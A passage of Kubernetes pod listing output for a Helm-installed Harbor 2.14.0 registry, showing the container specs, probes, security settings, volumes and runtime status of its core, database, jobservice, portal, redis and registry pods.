    resourceVersion: "18046566"
    uid: 7b4bc210-cf2c-4ae2-b60d-738a131dae7f
  spec:
    automountServiceAccountToken: false
    containers:
    - env:
      - name: CORE_SECRET
        valueFrom:
          secretKeyRef:
            key: secret
            name: harbor-core
      - name: JOBSERVICE_SECRET
        valueFrom:
          secretKeyRef:
            key: JOBSERVICE_SECRET
            name: harbor-jobservice
      envFrom:
      - configMapRef:
          name: harbor-core
      - secretRef:
          name: harbor-core
      image: goharbor/harbor-core:v2.14.0
      imagePullPolicy: IfNotPresent
      livenessProbe:
        failureThreshold: 2
        httpGet:
          path: /api/v2.0/ping
          port: 8080
          scheme: HTTP
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 1
      name: core
      ports:
      - containerPort: 8080
        protocol: TCP
      readinessProbe:
        failureThreshold: 2
        httpGet:
          path: /api/v2.0/ping
          port: 8080
          scheme: HTTP
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 1
      resources: {}
      securityContext:
        allowPrivilegeEscalation: false
        capabilities:
          drop:
          - ALL
        privileged: false
        runAsNonRoot: true
        seccompProfile:
          type: RuntimeDefault
      startupProbe:
        failureThreshold: 360
        httpGet:
          path: /api/v2.0/ping
          port: 8080
          scheme: HTTP
        initialDelaySeconds: 10
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 1
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /etc/core/app.conf
        name: config
        subPath: app.conf
      - mountPath: /etc/core/key
        name: secret-key
        subPath: key
      - mountPath: /etc/core/private_key.pem
        name: token-service-private-key
        subPath: tls.key
      - mountPath: /etc/core/ca
        name: ca-download
      - mountPath: /etc/core/token
        name: psc
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    nodeName: k8s-m-2
    preemptionPolicy: PreemptLowerPriority
    priority: 0
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext:
      fsGroup: 10000
      runAsUser: 10000
    serviceAccount: default
    serviceAccountName: default
    terminationGracePeriodSeconds: 120
    tolerations:
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
      tolerationSeconds: 300
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
      tolerationSeconds: 300
    volumes:
    - configMap:
        defaultMode: 420
        items:
        - key: app.conf
          path: app.conf
        name: harbor-core
      name: config
    - name: secret-key
      secret:
        defaultMode: 420
        items:
        - key: secretKey
          path: key
        secretName: harbor-core
    - name: token-service-private-key
      secret:
        defaultMode: 420
        secretName: harbor-core
    - name: ca-download
      secret:
        defaultMode: 420
        secretName: harbor-ingress
    - emptyDir: {}
      name: psc
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:23:50Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-10-22T17:19:43Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:26:04Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:26:04Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-10-22T17:19:43Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - containerID: containerd://df54dacda8cf58bd7c74b3a63137ca867583226d72d494ef2f38bfaaffc1cc62
      image: docker.io/goharbor/harbor-core:v2.14.0
      imageID: docker.io/goharbor/harbor-core@sha256:0ce3d295ff74d669fbbf5b1da43135a8bc2950177a8fb5432f588ed43ee79d82
      lastState:
        terminated:
          containerID: containerd://c87720c5c74249cf2804cd0b8184fc4e1f13ee64c2253a8c5497e51eaa1d9f4b
          exitCode: 1
          finishedAt: "2025-11-29T14:25:24Z"
          reason: Error
          startedAt: "2025-11-29T14:24:17Z"
      name: core
      ready: true
      resources: {}
      restartCount: 101
      started: true
      state:
        running:
          startedAt: "2025-11-29T14:25:48Z"
      volumeMounts:
      - mountPath: /etc/core/app.conf
        name: config
      - mountPath: /etc/core/key
        name: secret-key
      - mountPath: /etc/core/private_key.pem
        name: token-service-private-key
      - mountPath: /etc/core/ca
        name: ca-download
      - mountPath: /etc/core/token
        name: psc
    hostIP: 172.16.30.17
    hostIPs:
    - ip: 172.16.30.17
    phase: Running
    podIP: 192.168.61.221
    podIPs:
    - ip: 192.168.61.221
    qosClass: BestEffort
    startTime: "2025-10-22T17:19:43Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      checksum/secret: fda5ea441dd99451e1f03f09034777d1fe43d30f80f55c55dc6f507103c984f7
      cni.projectcalico.org/containerID: 1302eb2fe41bdfb638c062f62eb24564c57cec5d260f38d53c7e83b046020d60
      cni.projectcalico.org/podIP: 192.168.133.136/32
      cni.projectcalico.org/podIPs: 192.168.133.136/32
    creationTimestamp: "2025-11-25T15:22:39Z"
    generateName: harbor-database-
    generation: 1
    labels:
      app: harbor
      app.kubernetes.io/component: database
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: harbor
      app.kubernetes.io/part-of: harbor
      app.kubernetes.io/version: 2.14.0
      apps.kubernetes.io/pod-index: "0"
      chart: harbor
      component: database
      controller-revision-hash: harbor-database-74f5fcbf8c
      heritage: Helm
      release: harbor
      statefulset.kubernetes.io/pod-name: harbor-database-0
    name: harbor-database-0
    namespace: harbor
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: StatefulSet
      name: harbor-database
      uid: 366e618e-3549-449a-9084-4e72406812e5
    resourceVersion: "18007898"
    uid: 581a45a9-3326-49f4-9747-0a3ce146d1c9
  spec:
    automountServiceAccountToken: false
    containers:
    - env:
      - name: PGDATA
        value: /var/lib/postgresql/data/pgdata
      envFrom:
      - secretRef:
          name: harbor-database
      image: goharbor/harbor-db:v2.14.0
      imagePullPolicy: IfNotPresent
      livenessProbe:
        exec:
          command:
          - /docker-healthcheck.sh
        failureThreshold: 3
        initialDelaySeconds: 300
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 1
      name: database
      readinessProbe:
        exec:
          command:
          - /docker-healthcheck.sh
        failureThreshold: 3
        initialDelaySeconds: 1
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 1
      resources: {}
      securityContext:
        allowPrivilegeEscalation: false
        capabilities:
          drop:
          - ALL
        privileged: false
        runAsNonRoot: true
        seccompProfile:
          type: RuntimeDefault
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /var/lib/postgresql/data
        name: database-data
      - mountPath: /dev/shm
        name: shm-volume
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    hostname: harbor-database-0
    initContainers:
    - args:
      - -c
      - chmod -R 700 /var/lib/postgresql/data/pgdata || true
      command:
      - /bin/sh
      image: goharbor/harbor-db:v2.14.0
      imagePullPolicy: IfNotPresent
      name: data-permissions-ensurer
      resources: {}
      securityContext:
        allowPrivilegeEscalation: false
        capabilities:
          drop:
          - ALL
        privileged: false
        runAsNonRoot: true
        seccompProfile:
          type: RuntimeDefault
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /var/lib/postgresql/data
        name: database-data
    nodeName: k8s-m-1
    preemptionPolicy: PreemptLowerPriority
    priority: 0
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext:
      fsGroup: 999
      runAsUser: 999
    serviceAccount: default
    serviceAccountName: default
    subdomain: harbor-database
    terminationGracePeriodSeconds: 120
    tolerations:
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
      tolerationSeconds: 300
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
      tolerationSeconds: 300
    volumes:
    - name: database-data
      persistentVolumeClaim:
        claimName: database-data-harbor-database-0
    - emptyDir:
        medium: Memory
        sizeLimit: 512Mi
      name: shm-volume
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:13:17Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-11-25T15:22:53Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:13:28Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:13:28Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-11-25T15:22:39Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - containerID: containerd://d226c9dda9a25b050028eba0bf6e8469a63d25364cbcf89b91b0551f0d207c26
      image: docker.io/goharbor/harbor-db:v2.14.0
      imageID: docker.io/goharbor/harbor-db@sha256:1d49b4b5c8c0416647f28cb5b1353e0adf24c768994e79a2b1c2cdf90f8f2309
      lastState:
        terminated:
          containerID: containerd://4a32ca257f9c53db9a2ee1d5dab48a25d3017a60ddaeb6a9a9f3c019ef9dab19
          exitCode: 255
          finishedAt: "2025-11-29T11:12:42Z"
          reason: Unknown
          startedAt: "2025-11-28T13:08:11Z"
      name: database
      ready: true
      resources: {}
      restartCount: 2
      started: true
      state:
        running:
          startedAt: "2025-11-29T11:13:26Z"
      volumeMounts:
      - mountPath: /var/lib/postgresql/data
        name: database-data
      - mountPath: /dev/shm
        name: shm-volume
    hostIP: 172.16.30.16
    hostIPs:
    - ip: 172.16.30.16
    initContainerStatuses:
    - containerID: containerd://82715b955db87338187ea8587dbaa73538386b8d165a3b1d9b4f107393fe7b35
      image: docker.io/goharbor/harbor-db:v2.14.0
      imageID: docker.io/goharbor/harbor-db@sha256:1d49b4b5c8c0416647f28cb5b1353e0adf24c768994e79a2b1c2cdf90f8f2309
      lastState: {}
      name: data-permissions-ensurer
      ready: true
      resources: {}
      restartCount: 2
      started: false
      state:
        terminated:
          containerID: containerd://82715b955db87338187ea8587dbaa73538386b8d165a3b1d9b4f107393fe7b35
          exitCode: 0
          finishedAt: "2025-11-29T11:13:24Z"
          reason: Completed
          startedAt: "2025-11-29T11:13:17Z"
      volumeMounts:
      - mountPath: /var/lib/postgresql/data
        name: database-data
    phase: Running
    podIP: 192.168.133.136
    podIPs:
    - ip: 192.168.133.136
    qosClass: BestEffort
    startTime: "2025-11-25T15:22:39Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      checksum/configmap: c885bae46a4d1be465933d8c2db43c049e107bcebf3317968f1f024b44c8d94c
      checksum/configmap-env: 4e6757f431dc6489d6f2ced7d9742bc9e992e6c77541ca632f177418f680609c
      checksum/secret: 4d811a0e5a19e9feb89769205df38266094ddfd39e8cb863b4fc4eba1053c0de
      checksum/secret-core: ebd507b7c081c3357177749e94a8202c85c95f4968ebdafbf690bf2ab6009950
      cni.projectcalico.org/containerID: 2849ffaa6bd8f575d74cf28485b923d8a2ba06b3dacc1db20798c28c8c52d9b9
      cni.projectcalico.org/podIP: 192.168.61.244/32
      cni.projectcalico.org/podIPs: 192.168.61.244/32
    creationTimestamp: "2025-10-22T17:19:40Z"
    generateName: harbor-jobservice-7d76588fb9-
    generation: 1
    labels:
      app: harbor
      app.kubernetes.io/component: jobservice
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: harbor
      app.kubernetes.io/part-of: harbor
      app.kubernetes.io/version: 2.14.0
      chart: harbor
      component: jobservice
      heritage: Helm
      pod-template-hash: 7d76588fb9
      release: harbor
    name: harbor-jobservice-7d76588fb9-rn7vj
    namespace: harbor
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: ReplicaSet
      name: harbor-jobservice-7d76588fb9
      uid: 33157b26-4b39-4e26-a57f-b271d6f1d21e
    resourceVersion: "18046944"
    uid: 108af606-4d66-40f3-9737-52a63dfa51ad
  spec:
    automountServiceAccountToken: false
    containers:
    - env:
      - name: CORE_SECRET
        valueFrom:
          secretKeyRef:
            key: secret
            name: harbor-core
      envFrom:
      - configMapRef:
          name: harbor-jobservice-env
      - secretRef:
          name: harbor-jobservice
      image: goharbor/harbor-jobservice:v2.14.0
      imagePullPolicy: IfNotPresent
      livenessProbe:
        failureThreshold: 3
        httpGet:
          path: /api/v1/stats
          port: 8080
          scheme: HTTP
        initialDelaySeconds: 300
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 1
      name: jobservice
      ports:
      - containerPort: 8080
        protocol: TCP
      readinessProbe:
        failureThreshold: 3
        httpGet:
          path: /api/v1/stats
          port: 8080
          scheme: HTTP
        initialDelaySeconds: 20
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 1
      resources: {}
      securityContext:
        allowPrivilegeEscalation: false
        capabilities:
          drop:
          - ALL
        privileged: false
        runAsNonRoot: true
        seccompProfile:
          type: RuntimeDefault
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /etc/jobservice/config.yml
        name: jobservice-config
        subPath: config.yml
      - mountPath: /var/log/jobs
        name: job-logs
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    nodeName: k8s-m-2
    preemptionPolicy: PreemptLowerPriority
    priority: 0
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext:
      fsGroup: 10000
      runAsUser: 10000
    serviceAccount: default
    serviceAccountName: default
    terminationGracePeriodSeconds: 120
    tolerations:
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
      tolerationSeconds: 300
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
      tolerationSeconds: 300
    volumes:
    - configMap:
        defaultMode: 420
        name: harbor-jobservice
      name: jobservice-config
    - name: job-logs
      persistentVolumeClaim:
        claimName: harbor-jobservice
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:23:48Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-10-22T17:19:40Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:27:58Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:27:58Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-10-22T17:19:40Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - containerID: containerd://3c8ed6b4a0bb8bb01d701aaef182d0ee498c31905a883ddbcc58313ca40d98be
      image: docker.io/goharbor/harbor-jobservice:v2.14.0
      imageID: docker.io/goharbor/harbor-jobservice@sha256:c31385fbb17c2186e071945e462e1042deb6be2abd02492ca6c96498e602b4f3
      lastState:
        terminated:
          containerID: containerd://134527429302320c13cb729f034e40495090a1361dcf5696276b6b125de66748
          exitCode: 2
          finishedAt: "2025-11-29T14:26:04Z"
          reason: Error
          startedAt: "2025-11-29T14:26:03Z"
      name: jobservice
      ready: true
      resources: {}
      restartCount: 31
      started: true
      state:
        running:
          startedAt: "2025-11-29T14:27:36Z"
      volumeMounts:
      - mountPath: /etc/jobservice/config.yml
        name: jobservice-config
      - mountPath: /var/log/jobs
        name: job-logs
    hostIP: 172.16.30.17
    hostIPs:
    - ip: 172.16.30.17
    phase: Running
    podIP: 192.168.61.244
    podIPs:
    - ip: 192.168.61.244
    qosClass: BestEffort
    startTime: "2025-10-22T17:19:40Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      checksum/configmap: 587f1b484c07807cc9dd237230d25e1c167d2002a5fdbcd500a34b00bbfe4b3c
      cni.projectcalico.org/containerID: 664f9524127c3d45e9626bee5fd8bf23b0d3df3fd13854de3a93c29a55c3ec13
      cni.projectcalico.org/podIP: 192.168.61.210/32
      cni.projectcalico.org/podIPs: 192.168.61.210/32
    creationTimestamp: "2025-11-04T00:53:29Z"
    generateName: harbor-portal-864c6cd7-
    generation: 1
    labels:
      app: harbor
      app.kubernetes.io/component: portal
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: harbor
      app.kubernetes.io/part-of: harbor
      app.kubernetes.io/version: 2.14.0
      chart: harbor
      component: portal
      heritage: Helm
      pod-template-hash: 864c6cd7
      release: harbor
    name: harbor-portal-864c6cd7-hzcjx
    namespace: harbor
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: ReplicaSet
      name: harbor-portal-864c6cd7
      uid: 23a473dd-2f71-47fc-b474-3ae1bc802428
    resourceVersion: "18034017"
    uid: c94e3a6a-73c0-49a5-99bf-e181eab93f31
  spec:
    automountServiceAccountToken: false
    containers:
    - image: goharbor/harbor-portal:v2.14.0
      imagePullPolicy: IfNotPresent
      livenessProbe:
        failureThreshold: 3
        httpGet:
          path: /
          port: 8080
          scheme: HTTP
        initialDelaySeconds: 300
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 1
      name: portal
      ports:
      - containerPort: 8080
        protocol: TCP
      readinessProbe:
        failureThreshold: 3
        httpGet:
          path: /
          port: 8080
          scheme: HTTP
        initialDelaySeconds: 1
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 1
      resources: {}
      securityContext:
        allowPrivilegeEscalation: false
        capabilities:
          drop:
          - ALL
        privileged: false
        runAsNonRoot: true
        seccompProfile:
          type: RuntimeDefault
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /etc/nginx/nginx.conf
        name: portal-config
        subPath: nginx.conf
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    nodeName: k8s-m-2
    preemptionPolicy: PreemptLowerPriority
    priority: 0
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext:
      fsGroup: 10000
      runAsUser: 10000
    serviceAccount: default
    serviceAccountName: default
    terminationGracePeriodSeconds: 30
    tolerations:
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
      tolerationSeconds: 300
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
      tolerationSeconds: 300
    volumes:
    - configMap:
        defaultMode: 420
        name: harbor-portal
      name: portal-config
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:24:46Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-11-04T00:53:29Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:24:48Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:24:48Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-11-04T00:53:29Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - containerID: containerd://19bc90436d1f2632a65ee204d20d5736082ded6c9c602cd76739536cd3ba9f83
      image: docker.io/goharbor/harbor-portal:v2.14.0
      imageID: docker.io/goharbor/harbor-portal@sha256:acfd27abbe0a403f61a04e991a6141958393ad34f44dba629f80e6a56cb143a9
      lastState:
        terminated:
          containerID: containerd://7b7f8945da17535db7e523d81238b41c52f4da07515cb7a07450f56dd3be263b
          exitCode: 255
          finishedAt: "2025-11-29T13:23:09Z"
          reason: Unknown
          startedAt: "2025-11-28T12:36:58Z"
      name: portal
      ready: true
      resources: {}
      restartCount: 2
      started: true
      state:
        running:
          startedAt: "2025-11-29T13:24:44Z"
      volumeMounts:
      - mountPath: /etc/nginx/nginx.conf
        name: portal-config
    hostIP: 172.16.30.17
    hostIPs:
    - ip: 172.16.30.17
    phase: Running
    podIP: 192.168.61.210
    podIPs:
    - ip: 192.168.61.210
    qosClass: BestEffort
    startTime: "2025-11-04T00:53:29Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      cni.projectcalico.org/containerID: 2bc583d74c0ce66aff17f7702c98a8ecf1026bef9ba94b548ef1f7fcd681389c
      cni.projectcalico.org/podIP: 192.168.34.33/32
      cni.projectcalico.org/podIPs: 192.168.34.33/32
    creationTimestamp: "2025-10-19T11:58:01Z"
    generateName: harbor-redis-
    generation: 1
    labels:
      app: harbor
      app.kubernetes.io/component: redis
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: harbor
      app.kubernetes.io/part-of: harbor
      app.kubernetes.io/version: 2.14.0
      apps.kubernetes.io/pod-index: "0"
      chart: harbor
      component: redis
      controller-revision-hash: harbor-redis-54d5fdcdfd
      heritage: Helm
      release: harbor
      statefulset.kubernetes.io/pod-name: harbor-redis-0
    name: harbor-redis-0
    namespace: harbor
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: StatefulSet
      name: harbor-redis
      uid: ed37d66a-c159-428f-a336-c0ac5aa04570
    resourceVersion: "18046294"
    uid: 32c530e0-a630-449f-9bde-168bd606dfb3
  spec:
    automountServiceAccountToken: false
    containers:
    - image: goharbor/redis-photon:v2.14.0
      imagePullPolicy: IfNotPresent
      livenessProbe:
        failureThreshold: 3
        initialDelaySeconds: 300
        periodSeconds: 10
        successThreshold: 1
        tcpSocket:
          port: 6379
        timeoutSeconds: 1
      name: redis
      readinessProbe:
        failureThreshold: 3
        initialDelaySeconds: 1
        periodSeconds: 10
        successThreshold: 1
        tcpSocket:
          port: 6379
        timeoutSeconds: 1
      resources: {}
      securityContext:
        allowPrivilegeEscalation: false
        capabilities:
          drop:
          - ALL
        privileged: false
        runAsNonRoot: true
        seccompProfile:
          type: RuntimeDefault
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /var/lib/redis
        name: data
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    hostname: harbor-redis-0
    nodeName: k8s-m-3
    preemptionPolicy: PreemptLowerPriority
    priority: 0
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext:
      fsGroup: 999
      runAsUser: 999
    serviceAccount: default
    serviceAccountName: default
    subdomain: harbor-redis
    terminationGracePeriodSeconds: 120
    tolerations:
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
      tolerationSeconds: 300
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
      tolerationSeconds: 300
    volumes:
    - name: data
      persistentVolumeClaim:
        claimName: data-harbor-redis-0
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:25:18Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-10-19T11:58:02Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:25:19Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:25:19Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-10-19T11:58:02Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - containerID: containerd://4417e849bd39d845414a5965194653978a020c97c94ad7335e2c45e9e8b091cd
      image: docker.io/goharbor/redis-photon:v2.14.0
      imageID: docker.io/goharbor/redis-photon@sha256:f4fd0341c992884e3c143d983434d010f21f737686b2df0488785b9a9921de3d
      lastState:
        terminated:
          containerID: containerd://18ec0ce61f758641211e907b9648290be62f522d156d8daebd66ea33d02b7837
          exitCode: 255
          finishedAt: "2025-11-29T14:24:14Z"
          reason: Unknown
          startedAt: "2025-11-28T12:27:51Z"
      name: redis
      ready: true
      resources: {}
      restartCount: 5
      started: true
      state:
        running:
          startedAt: "2025-11-29T14:25:17Z"
      volumeMounts:
      - mountPath: /var/lib/redis
        name: data
    hostIP: 172.16.30.18
    hostIPs:
    - ip: 172.16.30.18
    phase: Running
    podIP: 192.168.34.33
    podIPs:
    - ip: 192.168.34.33
    qosClass: BestEffort
    startTime: "2025-10-19T11:58:02Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      checksum/configmap: d65e7080663682fbceda81a5a2c0b2e79e15426dcf2f0463d1747404c45f346d
      checksum/secret: 2982fb18b6fb33f7927efd20a0c72b70b59610b864c9af5946373bfbc98e4c5b
      checksum/secret-core: 5aa825c524e2f085ae08ccef05703612b17847d134c9d07b224d2b917ff73eac
      checksum/secret-jobservice: 0aa7f26404eeb8ac85c67e563873e89b550a6ddd79a7cd5c69db0d0546ec1aa1
      cni.projectcalico.org/containerID: abf1974c8c97ee9739721f5a9ed64bfae9512f9a9cd8f88b1e3d6d87dd7ac938
      cni.projectcalico.org/podIP: 192.168.61.223/32
      cni.projectcalico.org/podIPs: 192.168.61.223/32
    creationTimestamp: "2025-11-04T00:53:29Z"
    generateName: harbor-registry-6f6b79b866-
    generation: 1
    labels:
      app: harbor
      app.kubernetes.io/component: registry
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: harbor
      app.kubernetes.io/part-of: harbor
      app.kubernetes.io/version: 2.14.0
      chart: harbor
      component: registry
      heritage: Helm
      pod-template-hash: 6f6b79b866
      release: harbor
    name: harbor-registry-6f6b79b866-cgqvm
    namespace: harbor
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: ReplicaSet
      name: harbor-registry-6f6b79b866
      uid: 78bf2f2d-2d38-4939-8afe-d9da4aee76b5
    resourceVersion: "18033730"
    uid: 3aadb95d-f74e-435c-89a7-9055f4d9941f
  spec:
    automountServiceAccountToken: false
    containers:
    - envFrom:
      - secretRef:
          name: harbor-registry
      image: goharbor/registry-photon:v2.14.0
      imagePullPolicy: IfNotPresent
      livenessProbe:
        failureThreshold: 3
        httpGet:
          path: /
          port: 5000
          scheme: HTTP
        initialDelaySeconds: 300
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 1
      name: registry
      ports:
      - containerPort: 5000
        protocol: TCP
      - containerPort: 5001
        protocol: TCP
      readinessProbe:
        failureThreshold: 3
        httpGet:
          path: /
          port: 5000
          scheme: HTTP
        initialDelaySeconds: 1
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 1
      resources: {}
      securityContext:
        allowPrivilegeEscalation: false
        capabilities:
          drop:
          - ALL
        privileged: false
        runAsNonRoot: true
        seccompProfile:
          type: RuntimeDefault
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /storage
        name: registry-data
      - mountPath: /etc/registry/passwd
        name: registry-htpasswd
        subPath: passwd
      - mountPath: /etc/registry/config.yml
        name: registry-config
        subPath: config.yml
    - env:
      - name: CORE_SECRET
        valueFrom:
          secretKeyRef:
            key: secret
            name: harbor-core
      - name: JOBSERVICE_SECRET
        valueFrom:
          secretKeyRef:
            key: JOBSERVICE_SECRET
            name: harbor-jobservice
      envFrom:
      - configMapRef:
          name: harbor-registryctl
      - secretRef:
          name: harbor-registry
      - secretRef:
          name: harbor-registryctl
      image: goharbor/harbor-registryctl:v2.14.0
      imagePullPolicy: IfNotPresent
      livenessProbe:
        failureThreshold: 3
        httpGet:
          path: /api/health
          port: 8080
          scheme: HTTP
        initialDelaySeconds: 300
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 1
      name: registryctl
      ports:
      - containerPort: 8080
        protocol: TCP
      readinessProbe:
        failureThreshold: 3
        httpGet:
          path: /api/health
          port: 8080
          scheme: HTTP
        initialDelaySeconds: 1
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 1
      resources: {}
      securityContext:
        allowPrivilegeEscalation: false
        capabilities:
          drop:
          - ALL
        privileged: false
        runAsNonRoot: true
        seccompProfile:
          type: RuntimeDefault
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /storage
        name: registry-data
      - mountPath: /etc/registry/config.yml
        name: registry-config
        subPath: config.yml
      - mountPath: /etc/registryctl/config.yml
        name: registry-config
        subPath: ctl-config.yml
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    nodeName: k8s-m-2
    preemptionPolicy: PreemptLowerPriority
    priority: 0
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext:
      fsGroup: 10000
      fsGroupChangePolicy: OnRootMismatch
      runAsUser: 10000
    serviceAccount: default
    serviceAccountName: default
    terminationGracePeriodSeconds: 120
    tolerations:
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
      tolerationSeconds: 300
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
      tolerationSeconds: 300
    volumes:
    - name: registry-htpasswd
      secret:
        defaultMode: 420
        items:
        - key: REGISTRY_HTPASSWD
          path: passwd
        secretName: harbor-registry-htpasswd
    - configMap:
        defaultMode: 420
        name: harbor-registry
      name: registry-config
    - name: registry-data
      persistentVolumeClaim:
        claimName: harbor-registry
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:23:52Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-11-04T00:53:30Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:24:06Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:24:06Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-11-04T00:53:29Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - containerID: containerd://533e72c59b8771b73c8082fc4eecc04186acde8d4d1b5f6e35acd56b3e5fda09
      image: docker.io/goharbor/registry-photon:v2.14.0
      imageID: docker.io/goharbor/registry-photon@sha256:b20f12d92b0f5126dc1e5d5f9f861f54d023e18f2a759d5a027b3efcc401e6d1
      lastState:
        terminated:
          containerID: containerd://2fc1a2797c3522f57587c10c7763396ca7121c4a31ee75269e7a995dc88bd24c
          exitCode: 255
          finishedAt: "2025-11-29T13:23:10Z"
          reason: Unknown
